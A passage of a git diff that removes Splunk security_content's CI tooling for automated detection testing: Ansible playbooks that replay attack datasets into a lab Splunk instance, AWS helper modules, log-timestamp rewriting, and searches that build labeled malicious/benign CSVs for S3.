-RUN pip3 install -r requirements.txt - -ENTRYPOINT ["python3", "labeled_data.py"] diff --git a/bin/automated_detection_testing/ci/labeled_data/ansible/attack_replay.yml b/bin/automated_detection_testing/ci/labeled_data/ansible/attack_replay.yml deleted file mode 100644 index 676c41ac31..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/ansible/attack_replay.yml +++ /dev/null @@ -1,6 +0,0 @@ ---- - -- hosts: all - gather_facts: False - roles: - - attack_replay \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/ansible/roles/attack_replay/tasks/main.yml b/bin/automated_detection_testing/ci/labeled_data/ansible/roles/attack_replay/tasks/main.yml deleted file mode 100644 index 5265bd86ff..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/ansible/roles/attack_replay/tasks/main.yml +++ /dev/null @@ -1,23 +0,0 @@ - ---- - -- name: Upload replay - copy: - src: ../../../{{ folder_name }}/{{ out }} - dest: /tmp/{{ out }} - -- name: Call oneshot import - uri: - url: https://localhost:8089/services/data/inputs/oneshot - validate_certs: no - method: POST - user: admin - password: "{{ splunk_password }}" - force_basic_auth: yes - body_format: form-urlencoded - body: - name: /tmp/{{ out }} - sourcetype: "{{ sourcetype }}" - rename-source: "{{ source }}" - index: "{{ index }}" - status_code: 201 \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/ansible/roles/update_escu/tasks/main.yml b/bin/automated_detection_testing/ci/labeled_data/ansible/roles/update_escu/tasks/main.yml deleted file mode 100644 index 869e80ecc6..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/ansible/roles/update_escu/tasks/main.yml +++ /dev/null @@ -1,21 +0,0 @@ ---- - -- name: Delete ESCU APP - file: - state: absent - path: "/opt/splunk/etc/apps/DA-ESS-ContentUpdate" - become: yes - -- name: Upload ESCU APP - copy: - src: ../../../{{ security_content_path }}/dist/escu/ - dest: "/opt/splunk/etc/apps/DA-ESS-ContentUpdate" - owner: splunk - group: splunk - become: yes - -- name: restart splunk - service: - name: splunkd - state: restarted - become: yes \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/ansible/update_escu.yml b/bin/automated_detection_testing/ci/labeled_data/ansible/update_escu.yml deleted file mode 100644 index 3dc5ca7085..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/ansible/update_escu.yml +++ /dev/null @@ -1,4 +0,0 @@ -- hosts: all - gather_facts: False - roles: - - update_escu \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/labeled_data.py b/bin/automated_detection_testing/ci/labeled_data/labeled_data.py deleted file mode 100644 index 839c8f0d58..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/labeled_data.py +++ /dev/null @@ -1,40 +0,0 @@ -import sys -import argparse -import shutil -import os - -from modules.github_service import GithubService -from modules import aws_service, testing_service - - -DT_ATTACK_RANGE_STATE_STORE = "dt-attack-range-tf-state-store" -DT_ATTACK_RANGE_STATE = "dt-attack-range-state" -REGION = "eu-central-1" -NAME = "detection-testing-attack-range" - - -def main(args): - - github_service = GithubService('develop') - test_files = github_service.get_test_files() - for test_file in test_files: - print(test_file) - - dt_ar = aws_service.get_ar_information_from_dynamo_db(REGION, DT_ATTACK_RANGE_STATE) - splunk_instance = aws_service.get_splunk_instance(REGION, dt_ar['ssh_key_name']) - - splunk_ip = splunk_instance['NetworkInterfaces'][0]['Association']['PublicIp'] - splunk_password = dt_ar['password'] - ssh_key_name = dt_ar['ssh_key_name'] - private_key = dt_ar['private_key'] - - testing_service.prepare_detection_testing(ssh_key_name, private_key, splunk_ip, splunk_password) - testing_service.test_detections(ssh_key_name, private_key, splunk_ip, splunk_password, test_files) - - # Get Password, private_key and key_name from DynamoDB - # For loop - # Detection Test - - -if __name__ == "__main__": - main(sys.argv[1:]) \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/modules/DataManipulation.py b/bin/automated_detection_testing/ci/labeled_data/modules/DataManipulation.py deleted file mode 100644 index faef36565b..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/modules/DataManipulation.py +++ /dev/null @@ -1,131 +0,0 @@ -import json -from datetime import datetime -from datetime import timedelta -import fileinput -import os -import re -import io - -class DataManipulation: - - def manipulate_timestamp(self, file_path, sourcetype, source): - - print('Updating timestamps in attack_data before replaying') - - if sourcetype == 'aws:cloudtrail': - self.manipulate_timestamp_cloudtrail(file_path) - - if source == 'WinEventLog:System' or source == 'WinEventLog:Security': - self.manipulate_timestamp_windows_event_log_raw(file_path) - - if source == 'exchange': - self.manipulate_timestamp_exchange_logs(file_path) - - - def manipulate_timestamp_exchange_logs(self, file_path): - path = os.path.join(os.path.dirname(__file__), '../' + file_path) - path = path.replace('modules/../','') - - f = io.open(path, "r", encoding="utf-8") - - first_line = f.readline() - d = json.loads(first_line) - latest_event = datetime.strptime(d["CreationTime"],"%Y-%m-%dT%H:%M:%S") - - now = datetime.now() - now = now.strftime("%Y-%m-%dT%H:%M:%S") - now = datetime.strptime(now,"%Y-%m-%dT%H:%M:%S") - - difference = now - latest_event - f.close() - - for line in fileinput.input(path, inplace=True): - d = json.loads(line) - original_time = datetime.strptime(d["CreationTime"],"%Y-%m-%dT%H:%M:%S") - new_time = (difference + original_time) - - original_time = original_time.strftime("%Y-%m-%dT%H:%M:%S") - new_time = new_time.strftime("%Y-%m-%dT%H:%M:%S") - print (line.replace(original_time, new_time),end ='') - - - def manipulate_timestamp_windows_event_log_raw(self, file_path): - path = os.path.join(os.path.dirname(__file__), '../' + file_path) - path = path.replace('modules/../','') - - f = io.open(path, "r", encoding="utf-8") - self.now = datetime.now() - self.now = self.now.strftime("%Y-%m-%dT%H:%M:%S.%fZ") - self.now = datetime.strptime(self.now,"%Y-%m-%dT%H:%M:%S.%fZ") - - # read raw logs - regex = r'\d{2}/\d{2}/\d{4} \d{2}:\d{2}:\d{2} [AP]M' - data = f.read() - lst_matches = re.findall(regex, data) - if len(lst_matches) > 0: - latest_event = datetime.strptime(lst_matches[-1],"%m/%d/%Y %I:%M:%S %p") - self.difference = self.now - latest_event - f.close() - - result = re.sub(regex, self.replacement_function, data) - - with io.open(path, "w+", encoding='utf8') as f: - f.write(result) - else: - f.close() - return - - - def replacement_function(self, match): - try: - event_time = datetime.strptime(match.group(),"%m/%d/%Y %I:%M:%S %p") - new_time = self.difference + event_time - return new_time.strftime("%m/%d/%Y %I:%M:%S %p") - except Exception as e: - self.logger.error("Error in timestamp replacement occured: " + str(e)) - return match.group() - - - def manipulate_timestamp_cloudtrail(self, file_path): - path = os.path.join(os.path.dirname(__file__), '../' + file_path) - path = path.replace('modules/../','') - - f = io.open(path, "r", encoding="utf-8") - - try: - first_line = f.readline() - d = json.loads(first_line) - latest_event = datetime.strptime(d["eventTime"],"%Y-%m-%dT%H:%M:%S.%fZ") - - now = datetime.now() - now = now.strftime("%Y-%m-%dT%H:%M:%S.%fZ") - now = datetime.strptime(now,"%Y-%m-%dT%H:%M:%S.%fZ") - except ValueError: - first_line = f.readline() - d = json.loads(first_line) - latest_event = datetime.strptime(d["eventTime"],"%Y-%m-%dT%H:%M:%SZ") - - now = datetime.now() - now = now.strftime("%Y-%m-%dT%H:%M:%SZ") - now = datetime.strptime(now,"%Y-%m-%dT%H:%M:%SZ") - - difference = now - latest_event - f.close() - - for line in fileinput.input(path, inplace=True): - try: - d = json.loads(line) - original_time = datetime.strptime(d["eventTime"],"%Y-%m-%dT%H:%M:%S.%fZ") - new_time = (difference + original_time) - - original_time = original_time.strftime("%Y-%m-%dT%H:%M:%S.%fZ") - new_time = new_time.strftime("%Y-%m-%dT%H:%M:%S.%fZ") - print (line.replace(original_time, new_time),end ='') - except ValueError: - d = json.loads(line) - original_time = datetime.strptime(d["eventTime"],"%Y-%m-%dT%H:%M:%SZ") - new_time = (difference + original_time) - - original_time = original_time.strftime("%Y-%m-%dT%H:%M:%SZ") - new_time = new_time.strftime("%Y-%m-%dT%H:%M:%SZ") - print (line.replace(original_time, new_time),end ='') \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/modules/aws_service.py b/bin/automated_detection_testing/ci/labeled_data/modules/aws_service.py deleted file mode 100644 index cc53c425f6..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/modules/aws_service.py +++ /dev/null @@ -1,84 +0,0 @@ -import boto3 - - - - -def get_ar_information_from_dynamo_db(region, db_name): - resource = boto3.resource('dynamodb', region_name=region) - table = resource.Table(db_name) - response = table.get_item( - Key={ - 'name': 'detection-testing-attack-range' - } - ) - if 'Item' in response: - return response['Item'] - else: - return {} - - -def get_splunk_instance(region, key_name): - client = boto3.client('ec2', region_name=region) - response = client.describe_instances( - Filters=[ - { - 'Name': "key-name", - 'Values': [key_name] - } - ] - ) - instances = [] - for reservation in response['Reservations']: - for instance in reservation['Instances']: - if instance['State']['Name']!='terminated': - if len(instance['Tags']) > 0: - tag = instance['Tags'][0]['Value'] - if key_name in tag: - return instance - - return {} - - -def add_detection_results_in_dynamo_db(region, uuid, uuid_test, detection, detection_path, time): - resource = boto3.resource('dynamodb', region_name=region) - table = resource.Table("dt-results") - response = table.put_item(Item= { - 'uuid': uuid, - 'uuid_test': uuid_test, - 'detection': detection, - 'detection_path': detection_path, - 'time': time, - 'status': 'running' - }) - - -def update_detection_results_in_dynamo_db(region, uuid, result): - resource = boto3.resource('dynamodb', region_name=region) - table = resource.Table("dt-results") - response = table.update_item( - Key={ - 'uuid': uuid - }, - UpdateExpression="set #ts=:s", - ExpressionAttributeValues={ - ':s': 'done' - }, - ExpressionAttributeNames={ - "#ts": "status" - }, - ReturnValues="UPDATED_NEW" - ) - - response = table.update_item( - Key={ - 'uuid': uuid - }, - UpdateExpression="set #ts=:s", - ExpressionAttributeValues={ - ':s': result - }, - ExpressionAttributeNames={ - "#ts": "result" - }, - ReturnValues="UPDATED_NEW" - ) \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/modules/github_service.py b/bin/automated_detection_testing/ci/labeled_data/modules/github_service.py deleted file mode 100644 index 02d96dcffa..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/modules/github_service.py +++ /dev/null @@ -1,77 +0,0 @@ - -import git -import os -import logging -import glob -import subprocess - - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - -SECURITY_CONTENT_URL = "https://github.com/splunk/security_content" - - -class GithubService: - - def __init__(self, security_content_branch): - self.security_content_branch = security_content_branch - self.security_content_repo_obj = self.clone_project(SECURITY_CONTENT_URL, f"security_content", f"develop") - self.security_content_repo_obj.git.checkout(security_content_branch) - - def clone_project(self, url, project, branch): - LOGGER.info(f"Clone Security Content Project") - repo_obj = git.Repo.clone_from(url, project, branch=branch) - return repo_obj - - def get_test_files(self): - path = 'security_content/tests/endpoint' - test_files = [] - for root, directories, files in os.walk(path, topdown=False): - for name in files: - file_path = os.path.join(root, name) - if not os.path.basename(file_path).startswith('ssa') and os.path.basename(file_path).endswith('.yml'): - test_files.append(file_path) - - # for testing - #test_files = ['security_content/tests/endpoint/certutil_exe_certificate_extraction.test.yml'] - - test_files.remove('security_content/tests/endpoint/winword_spawning_windows_script_host.test.yml') - test_files.remove('security_content/tests/endpoint/winword_spawning_powershell.test.yml') - test_files.remove('security_content/tests/endpoint/winword_spawning_cmd.test.yml') - # test_files.remove('security_content/tests/endpoint/bitsadmin_download_file.test.yml') - # test_files.remove('security_content/tests/endpoint/bcdedit_failure_recovery_modification.test.yml') - return sorted(test_files, reverse=True)[61:] - - - # def get_changed_test_files(self): - # branch1 = self.security_content_branch - # branch2 = 'develop' - # g = git.Git('security_content') - # changed_test_files = [] - - # if branch1 != 'develop': - # differ = g.diff('--name-status', branch2 + '...' + branch1) - # changed_files = differ.splitlines() - - # for file_path in changed_files: - # # added or changed test files - # if file_path.startswith('A') or file_path.startswith('M'): - # if 'tests' in file_path: - # if not os.path.basename(file_path).startswith('ssa') and os.path.basename(file_path).endswith('.test.yml'): - # if file_path not in changed_test_files: - # changed_test_files.append(file_path) - - # # changed detections - # if 'detections' in file_path: - # if not os.path.basename(file_path).startswith('ssa') and os.path.basename(file_path).endswith('.yml'): - # file_path_base = os.path.splitext(file_path)[0].replace('detections', 'tests') + '.test' - # file_path_new = file_path_base + '.yml' - # if file_path_new not in changed_test_files: - # changed_test_files.append(file_path_new) - - # return changed_test_files - - - diff --git a/bin/automated_detection_testing/ci/labeled_data/modules/splunk_sdk.py b/bin/automated_detection_testing/ci/labeled_data/modules/splunk_sdk.py deleted file mode 100644 index 6d7b6c11c9..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/modules/splunk_sdk.py +++ /dev/null @@ -1,176 +0,0 @@ -import sys -from time import sleep -import splunklib.results as results -import splunklib.client as client -import splunklib.results as results -import requests - -def test_baseline_search(splunk_host, splunk_password, search, pass_condition, baseline_name, baseline_file, earliest_time, latest_time): - try: - service = client.connect( - host=splunk_host, - port=8089, - username='admin', - password=splunk_password - ) - except Exception as e: - print("Unable to connect to Splunk instance: " + str(e)) - return 1, {} - - # search and replace \\ with \\\ - # search = search.replace('\\','\\\\') - - if search.startswith('|'): - search = search - else: - search = 'search ' + search - - kwargs = {"exec_mode": "blocking", - "dispatch.earliest_time": earliest_time, - "dispatch.latest_time": latest_time} - - splunk_search = search + ' ' + pass_condition - - try: - job = service.jobs.create(splunk_search, **kwargs) - except Exception as e: - print("Unable to execute baseline: " + str(e)) - return 1, {} - - test_results = dict() - test_results['diskUsage'] = job['diskUsage'] - test_results['runDuration'] = job['runDuration'] - test_results['baseline_name'] = baseline_name - test_results['baseline_file'] = baseline_file - test_results['scanCount'] = job['scanCount'] - - if int(job['resultCount']) != 1: - print("Test failed for baseline: " + baseline_name) - test_results['error'] = True - return test_results - else: - print("Test successful for baseline: " + baseline_name) - test_results['error'] = False - return test_results - - -def run_modified_splunk_search(splunk_host, splunk_password, search1, search2, detection_name, detection_file, earliest_time, latest_time): - try: - service = client.connect( - host=splunk_host, - port=8089, - username='admin', - password=splunk_password - ) - except Exception as e: - print("Unable to connect to Splunk instance: " + str(e)) - return 1, {} - - if not search1.startswith('|'): - search1 = 'search ' + search1 - - if not search2.startswith('|'): - search2 = 'search ' + search2 - - kwargs = {"dispatch.earliest_time": "-1d", - "dispatch.latest_time": "now"} - - try: - job = service.jobs.export(search1, **kwargs) - except Exception as e: - print("Unable to execute detection: " + str(e)) - return 1, {} - - reader = results.ResultsReader(job) - results_search_malicious = [] - for result in reader: - if isinstance(result, dict): - results_search_malicious.append(result) - - try: - job = service.jobs.export(search2, **kwargs) - except Exception as e: - print("Unable to execute detection: " + str(e)) - return 1, {} - - reader = results.ResultsReader(job) - results_search_not_malicious = [] - for result in reader: - if isinstance(result, dict): - results_search_not_malicious.append(result) - - return results_search_malicious, results_search_not_malicious - - -def test_detection_search(splunk_host, splunk_password, search, pass_condition, detection_name, detection_file, earliest_time, latest_time): - try: - service = client.connect( - host=splunk_host, - port=8089, - username='admin', - password=splunk_password - ) - except Exception as e: - print("Unable to connect to Splunk instance: " + str(e)) - return 1, {} - - # search and replace \\ with \\\ - # search = search.replace('\\','\\\\') - - if search.startswith('|'): - search = search - else: - search = 'search ' + search - - kwargs = {"exec_mode": "blocking", - "dispatch.earliest_time": "-1d", - "dispatch.latest_time": "now"} - - splunk_search = search + ' ' + pass_condition - - try: - job = service.jobs.create(splunk_search, **kwargs) - except Exception as e: - print("Unable to execute detection: " + str(e)) - return 1, {} - - test_results = dict() - test_results['diskUsage'] = job['diskUsage'] - test_results['runDuration'] = job['runDuration'] - test_results['detection_name'] = detection_name - test_results['detection_file'] = detection_file - test_results['scanCount'] = job['scanCount'] - - if int(job['resultCount']) != 1: - print("Test failed for detection: " + detection_name) - test_results['error'] = True - return test_results - else: - print("Test successful for detection: " + detection_name) - test_results['error'] = False - return test_results - - -def delete_attack_data(splunk_host, splunk_password): - try: - service = client.connect( - host=splunk_host, - port=8089, - username='admin', - password=splunk_password - ) - except Exception as e: - print("Unable to connect to Splunk instance: " + str(e)) - return 1, {} - - splunk_search = 'search index=test* | delete' - - kwargs = {"exec_mode": "blocking", - "dispatch.earliest_time": "-360d", - "dispatch.latest_time": "now"} - - try: - job = service.jobs.create(splunk_search, **kwargs) - except Exception as e: - print("Unable to execute search: " + str(e)) - return 1, {} \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/modules/testing_service.py b/bin/automated_detection_testing/ci/labeled_data/modules/testing_service.py deleted file mode 100644 index 96918fe125..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/modules/testing_service.py +++ /dev/null @@ -1,279 +0,0 @@ - -import ansible_runner -import yaml -import uuid -import sys -import os -import time -import requests -import re -import csv -import boto3 -from botocore.exceptions import ClientError -from modules.DataManipulation import DataManipulation -from modules import splunk_sdk, aws_service - - -TSTATS_SEARCH = """| tstats count as count values(Processes.action) as action, -values(Processes.cpu_load_percent) as cpu_load_percent, -values(Processes.dest) as dest, -values(Processes.mem_used) as mem_used, -values(Processes.os) as os, -values(Processes.parent_process) as parent_process, -values(Processes.parent_process_exec) as parent_process_exec, -values(Processes.parent_process_id) as parent_process_id, -values(Processes.parent_process_guid) as parent_process_guid, -values(Processes.parent_process_name) as parent_process_name, -values(Processes.parent_process_path) as parent_process_path, -values(Processes.process) as process, -values(Processes.process_current_directory) as process_current_directory, -values(Processes.process_exec) as process_exec, -values(Processes.process_hash) as process_hash, -values(Processes.process_guid) as process_guid, -values(Processes.process_id) as process_id, -values(Processes.process_integrity_level) as process_integrity_level, -values(Processes.process_name) as process_name, -values(Processes.process_path) as process_path, -values(Processes.tag) as tag, -values(Processes.user) as user, -values(Processes.user_id) as user_id, -values(Processes.vendor_product) as vendor_product, -values(host) as host, -values(source) as source, -values(sourcetype) as sourcetype -from datamodel=Endpoint.Processes -where -""" - -TSTATS_INVERSE_SEARCH = """| tstats count as count values(Processes.action) as action, -values(Processes.cpu_load_percent) as cpu_load_percent, -values(Processes.dest) as dest, -values(Processes.mem_used) as mem_used, -values(Processes.os) as os, -values(Processes.parent_process) as parent_process, -values(Processes.parent_process_exec) as parent_process_exec, -values(Processes.parent_process_id) as parent_process_id, -values(Processes.parent_process_guid) as parent_process_guid, -values(Processes.parent_process_name) as parent_process_name, -values(Processes.parent_process_path) as parent_process_path, -values(Processes.process) as process, -values(Processes.process_current_directory) as process_current_directory, -values(Processes.process_exec) as process_exec, -values(Processes.process_hash) as process_hash, -values(Processes.process_guid) as process_guid, -values(Processes.process_id) as process_id, -values(Processes.process_integrity_level) as process_integrity_level, -values(Processes.process_name) as process_name, -values(Processes.process_path) as process_path, -values(Processes.tag) as tag, -values(Processes.user) as user, -values(Processes.user_id) as user_id, -values(Processes.vendor_product) as vendor_product, -values(host) as host, -values(source) as source, -values(sourcetype) as sourcetype -from datamodel=Endpoint.Processes -where NOT(_replace1_) -by _replace2_ -""" - -def prepare_detection_testing(ssh_key_name, private_key, splunk_ip, splunk_password): - with open(ssh_key_name, 'w') as file : - file.write(private_key) - os.chmod(ssh_key_name, 0o600) - - sys.path.append(os.path.join(os.getcwd(),'security_content/bin')) - - try: - module = __import__('generate') - results = module.main(REPO_PATH = 'security_content' , OUTPUT_PATH = 'security_content/dist/escu', PRODUCT = 'ESCU', VERBOSE = 'False' ) - except Exception as e: - print('Error: ' + str(e)) - - update_ESCU_app(splunk_ip, ssh_key_name, splunk_password) - - -def test_detections(ssh_key_name, private_key, splunk_ip, splunk_password, test_files): - test_index = 1 - - for test_file in test_files: - test_detection(ssh_key_name, private_key, splunk_ip, splunk_password, test_file, test_index) - if test_index == 10: - test_index = 1 - else: - test_index = test_index + 1 - - # delete test data - splunk_sdk.delete_attack_data(splunk_ip, splunk_password) - - -def test_detection(ssh_key_name, private_key, splunk_ip, splunk_password, test_file, test_index): - test_file_obj = load_file(test_file) - if not test_file_obj: - return - - print("\nAnalysis of detection: " + test_file_obj['tests'][0]['name']) - - test = test_file_obj['tests'][0] - detection_file_name = test['file'] - detection = load_file(os.path.join(os.path.dirname(__file__), '../security_content/detections', detection_file_name)) - print("Modify detection") - detection_search_1, detection_search_2 = modify_detection(detection['search']) - - if detection_search_1 == "ERROR" or detection_search_2 == "ERROR": - print("ERROR: Detection doesn't use Endpoint.Processes Data Model") - return - - epoch_time = str(int(time.time())) - folder_name = "attack_data_" + epoch_time - os.mkdir(folder_name) - - for attack_data in test_file_obj['tests'][0]['attack_data']: - url = attack_data['data'] - r = requests.get(url, allow_redirects=True) - open(folder_name + '/' + attack_data['file_name'], 'wb').write(r.content) - - # Update timestamps before replay - if 'update_timestamp' in attack_data: - if attack_data['update_timestamp'] == True: - data_manipulation = DataManipulation() - data_manipulation.manipulate_timestamp(folder_name + '/' + attack_data['file_name'], attack_data['sourcetype'], attack_data['source']) - - print("Replay Attack Data") - replay_attack_dataset(splunk_ip, splunk_password, ssh_key_name, folder_name, 'test' + str(test_index), attack_data['sourcetype'], attack_data['source'], attack_data['file_name']) - - time.sleep(60) - - # result_test = {} - - - # if 'baselines' in test: - # results_baselines = [] - # for baseline_obj in test['baselines']: - # baseline_file_name = baseline_obj['file'] - # baseline = load_file(os.path.join(os.path.dirname(__file__), '../security_content', baseline_file_name)) - # result_obj = dict() - # result_obj['baseline'] = baseline_obj['name'] - # result_obj['baseline_file'] = baseline_obj['file'] - # result = splunk_sdk.test_baseline_search(splunk_ip, splunk_password, baseline['search'], baseline_obj['pass_condition'], baseline['name'], baseline_obj['file'], baseline_obj['earliest_time'], baseline_obj['latest_time']) - # result_test['baselines_result'] = results_baselines - - - # result_detection = splunk_sdk.test_detection_search(splunk_ip, splunk_password, detection['search'], test['pass_condition'], detection['name'], test['file'], test['earliest_time'], test['latest_time']) - - # for testing - print("Run Splunk Search") - results_1, results_2 = splunk_sdk.run_modified_splunk_search(splunk_ip, splunk_password, detection_search_1, detection_search_2, detection['name'], test['file'], test['earliest_time'], test['latest_time']) - if len(results_1) > 0 and len(results_2) > 0: - print("Write Results to csv") - try: - with open('test.csv', 'w') as csvfile: - results_1[0]['malicious'] = "yes" - field_names = results_1[0].keys() - writer = csv.DictWriter(csvfile, fieldnames=field_names) - writer.writeheader() - for data in results_1: - data = {k: str(v).encode("utf-8").decode() for k,v in data.items()} - data['malicious'] = 'yes' - writer.writerow(data) - - for data in results_2: - data = {k: str(v).encode("utf-8").decode() for k,v in data.items()} - data['malicious'] = 'no' - writer.writerow(data) - - - detection_name = os.path.splitext(os.path.basename(detection_file_name))[0] - - # Upload the file - print("S3 upload results") - s3_client = boto3.client('s3') - try: - response = s3_client.upload_file('test.csv', 'security-content-labeled-data', 'endpoint/' + detection_name + '/' + detection_name + '.csv') - except ClientError as e: - print(e) - except Exception as e: - print(e) - else: - print("ERROR: Detection didn't return results") - - # result_detection['detection_name'] = test['name'] - # result_detection['detection_file'] = test['file'] - # result_test['detection_result'] = result_detection - - -def load_file(file_path): - try: - with open(file_path, 'r', encoding="utf-8") as stream: - try: - file = list(yaml.safe_load_all(stream))[0] - except yaml.YAMLError as exc: - print("ERROR: reading {0}".format(file_path)) - return False - except Exception as e: - print("ERROR: reading {0}".format(file_path)) - return False - return file - - -def update_ESCU_app(splunk_ip, ssh_key_name, splunk_password): - print("Update ESCU App. This can take some time") - - ansible_vars = {} - ansible_vars['ansible_user'] = 'ubuntu' - ansible_vars['ansible_ssh_private_key_file'] = ssh_key_name - ansible_vars['splunk_password'] = splunk_password - ansible_vars['security_content_path'] = 'security_content' - - cmdline = "-i %s, -u ubuntu" % (splunk_ip) - runner = ansible_runner.run(private_data_dir=os.path.join(os.path.dirname(__file__), '../'), - cmdline=cmdline, - roles_path=os.path.join(os.path.dirname(__file__), '../ansible/roles'), - playbook=os.path.join(os.path.dirname(__file__), '../ansible/update_escu.yml'), - extravars=ansible_vars) - - - -def replay_attack_dataset(splunk_ip, splunk_password, ssh_key_name, folder_name, index, sourcetype, source, out): - ansible_vars = {} - ansible_vars['folder_name'] = folder_name - ansible_vars['ansible_user'] = 'ubuntu' - ansible_vars['ansible_ssh_private_key_file'] = ssh_key_name - ansible_vars['splunk_password'] = splunk_password - ansible_vars['out'] = out - ansible_vars['sourcetype'] = sourcetype - ansible_vars['source'] = source - ansible_vars['index'] = index - - cmdline = "-i %s, -u ubuntu" % (splunk_ip) - runner = ansible_runner.run(private_data_dir=os.path.join(os.path.dirname(__file__), '../'), - cmdline=cmdline, - roles_path=os.path.join(os.path.dirname(__file__), '../ansible/roles'), - playbook=os.path.join(os.path.dirname(__file__), '../ansible/attack_replay.yml'), - extravars=ansible_vars) - - -def modify_detection(splunk_search): - - if splunk_search.startswith('| tstats'): - if "from datamodel=Endpoint.Processes" in splunk_search: - regex1 = r'where ([^\|]*)' - a = re.search(regex1, splunk_search) - search1 = "" - if a: - search1 = str(TSTATS_SEARCH + a.group(1)) - else: - search1 = "ERROR" - - regex2 = r'where (.*)by ([^\|]+)' - b = re.search(regex2, splunk_search) - search2 = "" - if b: - search2 = TSTATS_INVERSE_SEARCH.replace("_replace1_", b.group(1)) - search2 = search2.replace("_replace2_", b.group(2)) - else: - search2 = "ERROR" - - return search1, search2 - - return "ERROR", "ERROR" \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/labeled_data/requirements.txt b/bin/automated_detection_testing/ci/labeled_data/requirements.txt deleted file mode 100644 index 4ec326670d..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/requirements.txt +++ /dev/null @@ -1,10 +0,0 @@ -ansible==4.2.0 -ansible-runner==1.4.4 -attackcti==0.3.4.3 -boto3==1.11.0 -GitPython==3.1.14 -Jinja2==3.0.0 -PyYAML==5.4 -requests==2.25.1 -six==1.16.0 -splunk-sdk==1.6.12 \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/python_ci_code/main.py b/bin/automated_detection_testing/ci/python_ci_code/main.py deleted file mode 100644 index 0e83e97a33..0000000000 --- a/bin/automated_detection_testing/ci/python_ci_code/main.py +++ /dev/null @@ -1,90 +0,0 @@ - -import uuid -import sys -import boto3 -import argparse -import time - - -def main(args): - - parser = argparse.ArgumentParser(description="Detection Testing Execution") - parser.add_argument("-b", "--branch", required=True, help="security content branch") - parser.add_argument("-pr", "--pr-number", required=False, help="Pull Request Number") - - args = parser.parse_args() - branch = args.branch - pr_number = args.pr_number - - # vars - max_waiting_time = 7200 - current_waiting_time = 0 - - # create uuid - uuid_test = str(uuid.uuid4()) - - # start aws batch job - client = boto3.client("batch", region_name="eu-central-1") - - if pr_number: - response = client.submit_job( - jobName='detection_testing_' + branch, - jobQueue='detection_testing_execution_queue', - jobDefinition='detection_testing_execution:2', - containerOverrides={ - 'command': ['-b', branch, '-u', uuid_test, '-pr', pr_number] - } - ) - else: - response = client.submit_job( - jobName='detection_testing_' + branch, - jobQueue='detection_testing_execution_queue', - jobDefinition='detection_testing_execution:2', - containerOverrides={ - 'command': ['-b', branch, '-u', uuid_test] - } - ) - - - while max_waiting_time > current_waiting_time: - - dynamodb = boto3.client('dynamodb', region_name="eu-central-1") - response = dynamodb.query( - TableName='dt-results', - IndexName='uuid_test-index', - KeyConditionExpression='uuid_test = :uuid_test', - ExpressionAttributeValues={ - ':uuid_test': {'S': uuid_test} - } - ) - - - test_done = True - for item in response['Items']: - if item['status']['S'] == 'nothing to test': - print('No new or changed detections to test.') - sys.exit(0) - - if item['status']['S'] == 'running': - test_done = False - - if len(response['Items']) == 0 or (not test_done): - time.sleep(60) - current_waiting_time = current_waiting_time + 60 - else: - test_passed = True - for item in response['Items']: - if item['result']['S'] == 'failed': - test_passed = False - print('Test failed for detection: ' + item['detection']['S'] + ', ' + item['detection_path']['S']) - else: - print('Test passed for detection: ' + item['detection']['S'] + ', ' + item['detection_path']['S']) - sys.exit(not test_passed) - - sys.exit(1) - - - -if __name__ == "__main__": - main(sys.argv[1:]) - diff --git a/bin/automated_detection_testing/ci/python_ci_code/requirements.txt b/bin/automated_detection_testing/ci/python_ci_code/requirements.txt deleted file mode 100644 index 59f2d40626..0000000000 --- a/bin/automated_detection_testing/ci/python_ci_code/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -boto3==1.18.35 \ No newline at end of file diff --git a/bin/automated_detection_testing/config b/bin/automated_detection_testing/config deleted file mode 100644 index a5220e02d1..0000000000 --- a/bin/automated_detection_testing/config +++ /dev/null @@ -1,2 +0,0 @@ -[default] -region = eu-central-1 diff --git a/bin/automated_detection_testing/detection_service.py b/bin/automated_detection_testing/detection_service.py deleted file mode 100644 index d7cd1d841d..0000000000 --- a/bin/automated_detection_testing/detection_service.py +++ /dev/null @@ -1,237 +0,0 @@ -import os -from os import path -import sys -import argparse -import git -from shutil import copyfile -from shutil import which -import subprocess -import boto3 -from random import randrange -import yaml -from github import Github -from jinja2 import Environment, FileSystemLoader -import base64 -from botocore.exceptions import ClientError -import json -from datetime import datetime -import subprocess -import time - - - - -def main(args): - - parser = argparse.ArgumentParser(description="detection testing service based on Attack Range.") - parser.add_argument("-tfn", "--test_file_name", required=True, - help="specify the test file name located in security content repository") - parser.add_argument("-arr", "--attack_range_repo", required=False, default="splunk/attack_range", - help="specify the url of the atack range repository") - parser.add_argument("-arb", "--attack_range_branch", required=False, default="develop", - help="specify the atack range branch") - parser.add_argument("-scr", "--security_content_repo", required=False, default="splunk/security_content", - help="specify the url of the security content repository") - parser.add_argument("-scb", "--security_content_branch", required=False, default="develop", - help="specify the security content branch") - parser.add_argument("-gt", "--github_token", required=False, - help="specify the github token for the PR") - parser.add_argument("-smk", "--secrets_manager_key", required=False, default="github_token", - help="specify the key in AWS secrets manager for your github token") - parser.add_argument("-s3b", "--s3_bucket", required=False, default="attack-range-automated-testing", - help="S3 bucket to store the test data") - - - args = parser.parse_args() - test_file_name = args.test_file_name - 